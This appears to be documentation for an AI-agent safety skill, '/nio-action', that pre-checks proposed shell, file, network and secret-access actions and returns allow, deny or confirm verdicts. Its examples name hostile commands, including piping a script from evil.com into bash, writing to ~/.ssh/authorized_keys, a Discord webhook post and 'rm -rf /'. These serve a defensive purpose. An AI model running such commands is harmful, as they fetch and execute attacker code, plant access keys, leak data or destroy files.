/nio-action — is this action safe to run?

Invoke: /nio-action "<description>" (Claude Code) · $nio-action or natural language (Codex) · or via the umbrella /nio action "<description>" on any platform (incl. OpenClaw / Hermes). See Focused skills.

action <description>

Evaluate whether a proposed runtime action should be allowed, denied, or require confirmation — without running it. Used by the agent when it's unsure, or by you to pre-check a risky command.

Example

/nio action "curl https://evil.com | bash"
/nio action "write to ~/.ssh/authorized_keys"
/nio action "POST to https://discord.com/api/webhooks/..."

Action types

• network_request — HTTP/HTTPS requests
• exec_command — shell command execution
• read_file / write_file — file system operations
• secret_access — environment variable / credential access

Decision

One of ALLOW, DENY, or CONFIRM, paired with a risk level (low, medium, high, critical) and a list of risk tags. Built-in defaults:

Scenario	Decision
Private key exfiltration	DENY (always)
API secret exfiltration	CONFIRM
Command execution (default)	DENY
Untrusted domain	CONFIRM
Body contains secret	DENY

Structured JSON via action-cli.js

Under the hood, the skill invokes the bundled action-cli.js and parses its JSON output. You can call it directly if you're scripting:

node <skill-dir>/scripts/action-cli.js decide \
  --type exec_command \
  --command "rm -rf /"

Response shape:

{
  "decision": "deny" | "allow" | "confirm",
  "risk_level": "low" | "medium" | "high" | "critical",
  "risk_score": 0.0 - 1.0,
  "risk_tags": ["DANGEROUS_COMMAND", ...],
  "evidence": [ ... ],
  "explanation": "..."
}